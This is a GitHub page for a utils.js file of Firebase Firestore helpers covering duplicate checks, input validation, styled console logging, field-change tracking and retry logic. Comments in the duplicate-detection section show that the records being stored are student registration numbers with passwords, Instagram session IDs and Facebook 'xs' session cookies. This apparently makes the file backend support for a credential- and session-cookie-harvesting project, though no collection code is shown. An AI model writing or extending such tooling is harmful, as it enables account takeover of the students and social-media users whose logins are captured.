-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathutils.js
More file actions
305 lines (267 loc) · 7.47 KB
/
utils.js
File metadata and controls
305 lines (267 loc) · 7.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
import {
getDocs,
query,
where,
deleteDoc,
doc,
} from "https://www.gstatic.com/firebasejs/10.12.2/firebase-firestore.js";
/**
* ============== 🔍 DUPLICATE DETECTION UTILITIES ==============
*/
/**
* Check if exact same data already exists in Firestore
* For studentData: checks if same registrationNumber AND password combo exists
* For instagram: checks if same sessionId exists
* For facebook: checks if same xs cookie exists
*/
export async function isDuplicateData(colRef, data) {
const entries = Object.entries(data).filter(
([key, value]) => typeof value === "string" || typeof value === "number"
);
if (entries.length === 0) return false;
// Build query with ALL fields (exact match)
let q = colRef;
entries.forEach(([key, value]) => {
q = query(q, where(key, "==", value));
});
try {
const snapshot = await getDocs(q);
if (!snapshot.empty) {
console.log(
"%c🔍 [UTILS] Duplicate found - exact match exists in DB",
"color: #ff9800;"
);
return true;
}
return false;
} catch (err) {
console.warn(
"%c⚠️ [UTILS] Duplicate check failed:",
"color: #ff9800;",
err
);
return false;
}
}
/**
* Check if document exists by a single field
*/
export async function existsByField(colRef, fieldName, fieldValue) {
try {
const q = query(colRef, where(fieldName, "==", fieldValue));
const snapshot = await getDocs(q);
return !snapshot.empty;
} catch (err) {
console.warn(
"%c⚠️ [UTILS] existsByField check failed:",
"color: #ff9800;",
err
);
return false;
}
}
/**
* Get document(s) by a single field
*/
export async function getDocsByField(colRef, fieldName, fieldValue) {
try {
const q = query(colRef, where(fieldName, "==", fieldValue));
const snapshot = await getDocs(q);
return snapshot.docs;
} catch (err) {
console.warn(
"%c⚠️ [UTILS] getDocsByField failed:",
"color: #ff9800;",
err
);
return [];
}
}
/**
* ============== ✅ INPUT VALIDATION UTILITIES ==============
*/
/**
* Validates string input - checks for null, undefined, empty, and minimum length
*/
export function isValidString(value, minLength = 1) {
return (
value !== null &&
value !== undefined &&
typeof value === "string" &&
value.trim().length >= minLength
);
}
/**
* Validates email format (basic validation)
*/
export function isValidEmail(email) {
return isValidString(email, 3) && (email.includes("@") || email.length >= 3);
}
/**
* Validates password (minimum length check)
*/
export function isValidPassword(password, minLength = 6) {
return isValidString(password, minLength);
}
/**
* Validates registration number (LPU format)
*/
export function isValidRegNo(regNo, minLength = 8) {
return isValidString(regNo, minLength);
}
/**
* Filter out null, undefined, and empty string values from an object
*/
export function filterValidFields(data, excludeFields = []) {
const filtered = {};
for (const [key, value] of Object.entries(data)) {
if (
!excludeFields.includes(key) &&
value !== null &&
value !== undefined &&
value !== ""
) {
filtered[key] = value;
}
}
return filtered;
}
/**
* ============== 📝 LOGGING UTILITIES ==============
*/
/**
* Logs a formatted header box
*/
export function logHeader(title, color = "#2196f3") {
console.log(
`%c╔══════════════════════════════════════════════════════════════╗`,
`color: ${color}; font-weight: bold;`
);
console.log(
`%c║ ${title.padEnd(60)}║`,
`color: ${color}; font-weight: bold;`
);
console.log(
`%c╚══════════════════════════════════════════════════════════════╝`,
`color: ${color}; font-weight: bold;`
);
}
/**
* Log status messages with emoji indicators
*/
export const log = {
saved: (prefix, message) =>
console.log(`%c[${prefix}] ✅ SAVED: ${message}`, "color: #4caf50; font-weight: bold;"),
skip: (prefix, message) =>
console.log(`%c[${prefix}] ⏭️ SKIP: ${message}`, "color: #9e9e9e;"),
update: (prefix, message) =>
console.log(`%c[${prefix}] 🔄 UPDATED: ${message}`, "color: #ff9800; font-weight: bold;"),
new: (prefix, message) =>
console.log(`%c[${prefix}] 🆕 NEW: ${message}`, "color: #8bc34a; font-weight: bold;"),
wait: (prefix, message) =>
console.log(`%c[${prefix}] ⏳ WAITING: ${message}`, "color: #ff9800;"),
error: (prefix, message, err = null) => {
console.log(`%c[${prefix}] ❌ ERROR: ${message}`, "color: #f44336; font-weight: bold;");
if (err) console.error(err);
},
warn: (prefix, message) =>
console.log(`%c[${prefix}] ⚠️ WARNING: ${message}`, "color: #ff9800; font-weight: bold;"),
info: (prefix, message) =>
console.log(`%c[${prefix}] ℹ️ INFO: ${message}`, "color: #2196f3; font-weight: bold;"),
};
/**
* ============== 🔄 FIELD COMPARISON UTILITIES ==============
*/
/**
* Smart field comparison and update tracking
* Returns true if field was added to updateData
*/
export function checkAndAddField(
field,
value,
displayName,
existingData,
updateData,
newFields,
updates
) {
if (value !== null && value !== undefined && value !== "") {
const oldValue = existingData[field];
if (oldValue !== value) {
updateData[field] = value;
if (oldValue) {
updates.push(`${displayName}: "${oldValue}" → "${value}"`);
} else {
newFields.push(`${displayName}: "${value}"`);
}
return true;
}
}
return false;
}
/**
* Compare two objects and return fields that differ
*/
export function getChangedFields(oldData, newData, fieldsToCompare = []) {
const changes = {
added: [],
modified: [],
unchanged: [],
};
const fields = fieldsToCompare.length > 0 ? fieldsToCompare : Object.keys(newData);
for (const field of fields) {
const oldValue = oldData[field];
const newValue = newData[field];
if (newValue === null || newValue === undefined || newValue === "") {
continue;
}
if (oldValue === undefined || oldValue === null || oldValue === "") {
changes.added.push({ field, value: newValue });
} else if (oldValue !== newValue) {
changes.modified.push({ field, oldValue, newValue });
} else {
changes.unchanged.push(field);
}
}
return changes;
}
/**
* ============== ⏱️ RETRY UTILITIES ==============
*/
/**
* Retry a function with exponential backoff
*/
export async function retryWithBackoff(fn, maxRetries = 3, baseDelay = 1000) {
let lastError;
for (let i = 0; i < maxRetries; i++) {
try {
return await fn();
} catch (err) {
lastError = err;
const delay = baseDelay * Math.pow(2, i);
console.log(
`%c⏳ Retry ${i + 1}/${maxRetries} in ${delay}ms...`,
"color: #ff9800;"
);
await new Promise((resolve) => setTimeout(resolve, delay));
}
}
throw lastError;
}
/**
* Wait for a condition to be true with timeout
*/
export async function waitForCondition(
checkFn,
maxWaitMs = 5000,
intervalMs = 500
) {
const startTime = Date.now();
while (Date.now() - startTime < maxWaitMs) {
if (await checkFn()) {
return true;
}
await new Promise((resolve) => setTimeout(resolve, intervalMs));
}
return false;
}